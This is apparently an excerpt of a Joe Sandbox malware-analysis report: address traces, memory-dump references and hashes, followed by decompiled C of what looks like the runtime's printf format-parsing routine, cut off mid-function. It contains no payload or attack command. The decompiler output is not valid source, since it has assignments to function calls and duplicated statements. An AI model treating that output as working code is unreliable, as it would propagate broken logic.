0x00427ac0
0x00427ac5
0x00427ae1
0x00427ae9
0x00427af3
0x00427af6
0x00427afb
0x00428218
0x00428225
0x00428225
0x00000000
0x00427d4d
0x00427d4d
0x00427d57
0x00427d57
0x00427d5d
0x00427d5f
0x00427d62
0x00427d62
0x00427d68
0x00427d68
0x00427d6b
0x00427d6e
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e27
0x00427e2b
0x00427e33
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e0c
0x00427e10
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427de6
0x00427df2
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dca
0x00427dce
0x00427dd6
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427d9d
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d75
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427942
0x00427942
0x00427946
0x00427954
0x00427957
0x00427948
0x00427948
0x00427948
0x0042795d
0x00427963
0x00427969
0x00427975
0x0042797b
0x0042797b
0x00427981
0x004279e8
0x004279e8
0x004279ec
0x004279ee
0x004279f4
0x004279f4
0x004279f7
0x004279fa
0x00427a00
0x00427a00
0x00427a00
0x00427a0c
0x00427a0f
0x00427a15
0x00427a17
0x00000000
0x00000000
0x00427a19
0x00427a19
0x00427a1f
0x00427a22
0x00427a24
0x00000000
0x00000000
0x00427a26
0x00427a2c
0x00427a2f
0x00427a2f
0x00427a37
0x00427a37
0x00427a3d
0x00427a3d
0x00427a40
0x00000000
0x00427983
0x00427983
0x00427983
0x00427987
0x00427989
0x0042798e
0x0042798e
0x00427991
0x00427998
0x0042799b
0x004279a1
0x004279a1
0x004279a1
0x004279ad
0x004279b0
0x004279b6
0x004279b8
0x00000000
0x00000000
0x004279ba
0x004279ba
0x004279c0
0x004279c3
0x004279c5
0x00000000
0x00000000
0x004279c7
0x004279cd
0x004279d0
0x004279d0
0x004279d8
0x004279de
0x004279e1
0x004279e3
0x00427a43
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00427ff3
0x00000000
0x00427cfc
0x00427cfc
0x00427d6b
0x00427d6b
0x00427d6e
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e27
0x00427e2b
0x00427e33
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e0c
0x00427e10
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427de6
0x00427df2
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dca
0x00427dce
0x00427dd6
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427d9d
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d75
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00000000
0x00427e47
0x00000000
0x00427d18
0x00427d18
0x00427d22
0x00427d22
0x00427d2c
0x00427d2c
0x00427d32
0x00427d34
0x00427d3e
0x00427d3e
0x00427d41
0x00427d44
0x00427d44
0x00427d6b
0x00427d6b
0x00427d6e
0x00427d6e
0x00427d73
0x00427d95
0x00427d95
0x00427d9b
0x00427dbd
0x00427dbd
0x00427dc0
0x00427e07
0x00427e07
0x00427e0a
0x00427e27
0x00427e2b
0x00427e33
0x00427e33
0x00427e35
0x00427e3b
0x00427e0c
0x00427e0c
0x00427e10
0x00427e18
0x00427e19
0x00427e1f
0x00427e1f
0x00427dc2
0x00427dc5
0x00427dc5
0x00427dc8
0x00427de6
0x00427df2
0x00427df5
0x00427df6
0x00427dfc
0x00427dca
0x00427dca
0x00427dce
0x00427dd6
0x00427dd7
0x00427dd8
0x00427dde
0x00427dde
0x00427e02
0x00427d9d
0x00427d9d
0x00427da9
0x00427daf
0x00427daf
0x00427d75
0x00427d75
0x00427d81
0x00427d87
0x00427d87
0x00427e44
0x00427e44
0x00427e47
0x00000000
0x00000000
0x00000000
0x00427e47
0x00000000
0x00427ff3
0x00427ff3
0x00427ff3
0x00427ff7
0x00000000
0x00000000
0x00000000
0x00427ff7
0x00000000
0x00000000
0x004275b2
0x004275b5
0x004275b8
0x00000000
0x00000000
0x004275bd
0x004275c0
0x004275c5
0x00000000
0x00000000
0x004275a7
0x004275a7
0x004275aa
0x004275ad
0x00000000
0x00000000
0x0042759c
0x0042759f
0x004275a2
0x00000000
0x00000000
0x004275ca
0x004275ca
0x004275cd
0x004275cd
0x004275d0
0x00000000
0x00000000
0x004275d3
0x00000000
0x00000000
0x0042742d
0x004281fe
0x00428204
0x0042820d
0x00428212
0x00000000
0x00428212
0x00427ff3
0x00427fca
0x00427fca
0x00427fce
0x00427fdb
0x00427fde
0x00427fe1
0x00427fe4
0x00427fe7
0x00427fea
0x00427fed
0x00427fed
0x00427ff0
0x00000000
0x00427ff0
0x00427fd0
0x00427fd0
0x00427fd3
0x00427fd6
0x00427fd9
0x00000000
0x00000000
0x00000000
0x00427fd9
0x00427f32
0x00427f32
0x00427f35
0x00427f38
0x00427f3f
0x00427f46
0x00427f4e
0x00427f54
0x00427f57
0x00427f5a
0x00427f61
0x00427f6d
0x00427f73
0x00427f79
0x00427f80
0x00427f82
0x00427f88
0x00427f88
0x00427f8e
0x00427f8e
0x00427f94
0x00427f97
0x00427f9d
0x00427fa2
0x00427fa5
0x00427f14
0x00427f14
0x00427f1a
0x00427f1d
0x00427f20
0x00427f22
0x00000000
0x00000000
0x00000000
0x00427f22
0x00427f14
0x00427e54
0x00427e54
0x00427e5b
0x00000000
0x00000000
0x00000000
0x00427e89
0x00427e89
0x00427e8f
0x00427e95
0x00427e9b
0x00000000
0x00427e9b
0x00427d6b
0x00427d22
0x00427d0c

APIs

_get_int64_arg.LIBCMTD ref: 00427D79
__aullrem.LIBCMT ref: 00427F46
__aulldiv.LIBCMT ref: 00427F68

Strings

9, xrefs: 00427F79
0, xrefs: 00427D34

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction ID: 96d63b7787e5fb093adb1eaeb351c07dc41b157e10caa63b8490c06a1fc6b8b5
Opcode Fuzzy Hash: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction Fuzzy Hash: 39411671E18229CFDB64DF48D989BAEB7B5BF84304F5081DAE049AB241C7389E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0043C389, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C389(void* __ebx, void* __edi, void* __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E004284A0(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004284A0(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004284A0(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E0043CAB0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0043CAF0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CAB0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0043CAF0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041AE20(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AE20(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0043B550(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E0043CA50( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E0043CAB0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041C510( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C944))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E0043CA50( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x43c97c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C964))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x43c9a4; // 0xc1b19003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C990))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
